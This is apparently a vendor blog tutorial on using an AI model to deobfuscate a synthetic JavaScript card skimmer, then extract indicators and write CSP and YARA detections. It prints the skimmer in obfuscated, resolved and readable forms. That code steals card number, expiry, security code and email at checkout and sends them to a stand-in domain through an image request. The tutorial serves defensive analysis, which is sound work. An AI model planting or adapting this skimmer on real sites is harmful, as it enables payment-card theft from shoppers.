Skip to content
All posts

· 9 min read

Deobfuscate JavaScript with AI: Analyzing a Web Skimmer

Deobfuscate malicious JavaScript with Odin v1: resolve the string table, read a card skimmer, extract indicators and write a detection, verifying every step.

Obfuscated JavaScript is one of the most common things an incident responder pastes into an assistant, and one of the things mainstream assistants refuse most often. A script that hides its strings behind a lookup table and hooks a payment form looks like malware, because it is, and the refusal arrives right when you need a second pair of eyes. Security teams use Odin v1 for this work because it answers directly. This walkthrough takes a synthetic card skimmer from an obfuscated blob to a readable script, a list of indicators and a detection, and shows where you must check the model's work yourself.

What the model sees, and what it does not

Odin accepts text only, and JavaScript is text, so you can paste a whole script. It never runs the code. That is a feature: the model reads the sample the way an analyst does, without executing a single line.

Handle the sample the way you would any malware:

  • Download it with curl or wget inside an isolated VM with no route to your network, snapshotted before you start. Never open the compromised page in a normal browser to look at it.
  • Save the script as a file and work on the text. Copy text out of the VM, never files.
  • Strip anything that is not part of the script, such as customer names or internal hostnames in comments. API prompts and completions are not stored, but there is no reason to send what the analysis does not need.

odin-v1 has a 1,000,000-token context window, so even a large bundle with the skimmer appended to the end fits in one request.

The sample

This is a synthetic skimmer written for this article. It uses the classic string-table pattern from public obfuscators: every string is moved into an array, the array is rotated at load time, and each use becomes a call to a decoder function. Line breaks are kept so the structure is easy to see. To follow along, save the four lines below the comment as sample.js.

js
// SYNTHETIC SAMPLE: written for this article, not taken from a real incident.var _0x5b1e=['stringify','src','https://static-cdn.example/p.gif?d=','forEach','addEventListener','target','pathname','/checkout','indexOf','cc-number','cc-exp','cc-csc','email','submit','querySelector','[name="','"]','value'];(function(_0x1f,_0x2a){while(--_0x2a){_0x1f['push'](_0x1f['shift']());}}(_0x5b1e,0x7));function _0x3c9d(_0x4e){return _0x5b1e[_0x4e-0x120];}(function(){var _0xa1=_0x3c9d(0x121);if(location[_0x3c9d(0x120)][_0x3c9d(0x122)](_0xa1)===-0x1)return;var _0xb2=[_0x3c9d(0x123),_0x3c9d(0x124),_0x3c9d(0x125),_0x3c9d(0x126)];document[_0x3c9d(0x130)](_0x3c9d(0x127),function(_0xc3){var _0xd4={};_0xb2[_0x3c9d(0x12f)](function(_0xe5){var _0xf6=_0xc3[_0x3c9d(0x131)][_0x3c9d(0x128)](_0x3c9d(0x129)+_0xe5+_0x3c9d(0x12a));if(_0xf6)_0xd4[_0xe5]=_0xf6[_0x3c9d(0x12b)];});new Image()[_0x3c9d(0x12d)]=_0x3c9d(0x12e)+btoa(JSON[_0x3c9d(0x12c)](_0xd4));},!0x0);}());

Step 1: get an overview

Start with structure, not a full rewrite. Give the model the role, where the code came from and what you want back:

You are assisting an incident responder. The JavaScript below was found injected into a web shop's checkout page and is being analyzed statically in an isolated lab. Describe how it is obfuscated, which lines are the string table setup and which are the payload, and what the payload does. Mark anything you cannot confirm from the code as a guess.

A good answer separates the file into three parts. Lines 1 to 3 are the obfuscation scaffolding: an array of strings, an immediately invoked function that rotates the array, and a decoder _0x3c9d that subtracts 0x120 from its argument and indexes the array. Line 4 is the payload, wrapped in an anonymous function. It also notices that every sensitive word, such as addEventListener, querySelector and value, hides behind the decoder, which is the sign of an automated obfuscator rather than hand-written code.

Do not stop at the summary. The next step turns the guess into something you can check.

Step 2: resolve the strings with a script

Reading _0x3c9d(0x12e) is slow and error-prone, even for a model. Ask for a script that does the substitution mechanically:

Write a Node.js script that reads sample.js, runs only the first three lines (the string table, the rotation and the decoder) in an isolated context, and replaces every call to _0x3c9d(0x...) in the rest of the file with the decoded string literal. Also turn obj["name"] into obj.name where the name is a valid identifier. Do not execute the payload.

Expect something like this:

js
const fs = require('node:fs')const vm = require('node:vm')
const lines = fs.readFileSync('sample.js', 'utf8').split('\n')const setup = lines.slice(0, 3).join('\n') // string table, rotation, decoderconst rest = lines.slice(3).join('\n')
// Run only the string-table setup, nothing else from the sample.const decode = vm.runInNewContext(setup + '\n_0x3c9d', Object.create(null), { timeout: 1000 })
const out = rest  .replace(/_0x3c9d\((0x[0-9a-f]+)\)/g, (_, n) => JSON.stringify(decode(parseInt(n, 16))))  .replace(/\["([A-Za-z_$][\w$]*)"\]/g, '.$1')
fs.writeFileSync('sample.resolved.js', out)

Two cautions before you run it. First, node:vm is not a security boundary, and the setup lines of a real sample can contain more than a rotation. Read them first, and run the script inside the same isolated VM you downloaded the sample into. Second, this works only because the decoder is simple. If it uses atob, RC4 or a key derived from the page, the model can still reimplement it, but you have to run that reimplementation on the real strings and compare.

The resolved payload is readable:

js
(function(){var _0xa1="/checkout";if(location.pathname.indexOf(_0xa1)===-0x1)return;var _0xb2=["cc-number","cc-exp","cc-csc","email"];document.addEventListener("submit",function(_0xc3){var _0xd4={};_0xb2.forEach(function(_0xe5){var _0xf6=_0xc3.target.querySelector("[name=\""+_0xe5+"\"]");if(_0xf6)_0xd4[_0xe5]=_0xf6.value;});new Image().src="https://static-cdn.example/p.gif?d="+btoa(JSON.stringify(_0xd4));},!0x0);}());

Step 3: rename and explain

Now the model is at its best. Paste the resolved payload and ask:

Reformat this script, rename the variables to meaningful names, and explain what it does line by line. Then list the trigger condition, the data it collects, how the data leaves the page and the domain it goes to.

The answer should come back close to this:

js
(function () {  var checkoutPath = "/checkout";  if (location.pathname.indexOf(checkoutPath) === -1) return;
  var fieldNames = ["cc-number", "cc-exp", "cc-csc", "email"];
  // Capture phase (third argument true), so site code cannot stop the event first.  document.addEventListener("submit", function (event) {    var stolen = {};    fieldNames.forEach(function (name) {      var input = event.target.querySelector('[name="' + name + '"]');      if (input) stolen[name] = input.value;    });    new Image().src = "https://static-cdn.example/p.gif?d=" + btoa(JSON.stringify(stolen));  }, true);})();

In plain words: on any URL containing /checkout, it listens for form submission in the capture phase, reads the card number, expiry, security code and email from the form, serializes them to JSON, Base64-encodes them and sends them as the query string of an image request to static-cdn.example. An image request needs no CORS permission and leaves no visible trace on the page. This is the standard shape of a web skimmer.

Ask follow-up questions in the same conversation: whether !0x0 is true here, why the author used an image instead of fetch, what a Content Security Policy would have blocked. That is where the model saves you the most time.

Step 4: extract indicators as JSON

The findings go into your ticket or your threat intelligence platform, so ask for a structured result:

python
import jsonimport osimport pathlib
from openai import OpenAI
client = OpenAI(base_url="https://api.interodin.com/v1", api_key=os.environ["INTERODIN_API_KEY"])
SYSTEM = (    "You are helping an incident responder. For the JavaScript given, return only JSON with the keys "    "trigger (when it runs), collected (list of data it reads), exfiltration (method and full URL pattern), "    "domains (list), hunting_ideas (list of short strings) and confidence (high, medium or low). "    "Report only what is literally in the code.")
code = pathlib.Path("sample.resolved.js").read_text(encoding="utf-8")resp = client.chat.completions.create(    model="odin-v1",    messages=[{"role": "system", "content": SYSTEM}, {"role": "user", "content": code}],)raw = resp.choices[0].message.content.strip()fence = "`" * 3raw = raw.removeprefix(fence + "json").removesuffix(fence).strip()print(json.dumps(json.loads(raw), indent=2))

Then check the result mechanically. Every domain and URL in the JSON must appear literally in sample.resolved.js:

bash
grep -c "static-cdn.example" sample.resolved.js

A count of zero means the model made it up or mistyped it. See the OpenAI SDK guide if you have not used the API before.

Step 5: turn the findings into detections

Deobfuscation is only useful if it ends in something that finds the next copy. Three outputs usually come out of an analysis like this:

  • A block. Add static-cdn.example to your DNS and web proxy blocklists, and search your proxy and DNS logs for it across the period the page was compromised.
  • A Content Security Policy. The beacon is an image request, so img-src governs it. A policy such as Content-Security-Policy: default-src 'self'; img-src 'self' https://images.shop.example would have stopped this sample, and report-uri or report-to would have told you about the attempt.
  • A rule. The raw file keeps the domain and the field names in plain text inside the string table, so a YARA rule on the obfuscated copy works:
text
rule skimmer_static_cdn_example{    meta:        description = "Synthetic example: string-table skimmer posting card fields to a fixed domain"    strings:        $domain = "static-cdn.example"        $f1 = "cc-number"        $f2 = "cc-exp"        $f3 = "cc-csc"    condition:        $domain and 2 of ($f*)}

Ask the model to tighten the rule against a list of benign scripts you give it, then test it against a clean corpus before you deploy it. Our guide to Sigma and YARA rules with AI covers the tuning loop.

Where the model goes wrong

The model writes a convincing first draft. Your job is to catch the parts that are wrong:

  • Off-by-one in the rotation. A loop written as while(--n) runs n - 1 times, not n. Hand-reimplemented table setups often get this wrong and produce plausible but shifted strings. Run the original setup code instead of trusting a rewrite.
  • Invented indicators. Ask for "the C2 domain" and a model can supply a tidy one that is not in the file. Grep every indicator in the sample.
  • Dynamic code. If the script builds code with eval, new Function or a second encoded layer, what you see is only the first stage. Ask the model to extract the inner string, decode it, and analyze that as a separate sample.
  • Control-flow flattening. Heavily flattened code, with a switch inside a while driven by a state variable, is hard to follow in text. The model can untangle small cases, but verify by tracing both versions on the same input.
  • Guessing intent. "This looks like analytics" or "this looks malicious" is an opinion. The facts are what the code reads and where it sends it.

The rule is the same as in malware analysis with Odin: the model drafts, you verify, and only verified findings go in the report.

Other JavaScript work

The same approach of pasting text, asking for structure and then verifying covers the rest of web-side analysis:

  • Webshells and loaders in PHP or Node. Paste the file and ask for the entry points, the command channel and the persistence.
  • Browser extensions. Paste manifest.json and the background script and ask what permissions the code actually uses.
  • Binary counterparts. For compiled malware, see reverse engineering with AI. For PowerShell droppers, see malware analysis with Odin.
  • Tooling. For a bulk crawler that fetches and triages third-party scripts across many pages, see Claude Code for security tooling.
  • Why this works. For the bigger picture of working without constant refusals, see security research with fewer refusals.

Common questions about AI for JavaScript deobfuscation

Can Odin run the JavaScript?

No. Odin reads text and never executes anything. If you need to run part of a sample, such as a string decoder, do it yourself inside an isolated VM, after reading the code you are about to run.

Why do mainstream models refuse to deobfuscate JavaScript?

They react to how code looks. Obfuscated scripts that hook forms and send data to another domain look like malware even when you are the one analyzing them. Odin is built to answer legitimate security work directly.

Does this work on other obfuscators?

The method does: get an overview, resolve the strings mechanically, rename, extract indicators and verify. The scripts change with the obfuscator. Paste the decoder and ask the model to write a resolver for that specific scheme.

Which model should I use?

Use odin-v1 for reading unfamiliar obfuscation and for writing resolvers, where its reasoning and 1,000,000-token context help. Use odin-flash, which is faster and cheaper, to triage many scripts and flag the ones worth a closer look.

Get started

Create an API key in the console and follow the quickstart to make your first request, or paste a script into the web chat to try it right away. Keep your work within the Acceptable Use Policy: analyze samples to defend systems, never to build or deploy malware.

Comparing Odin with the assistant you use today? See uncensored AI for security research for a side-by-side comparison with mainstream assistants.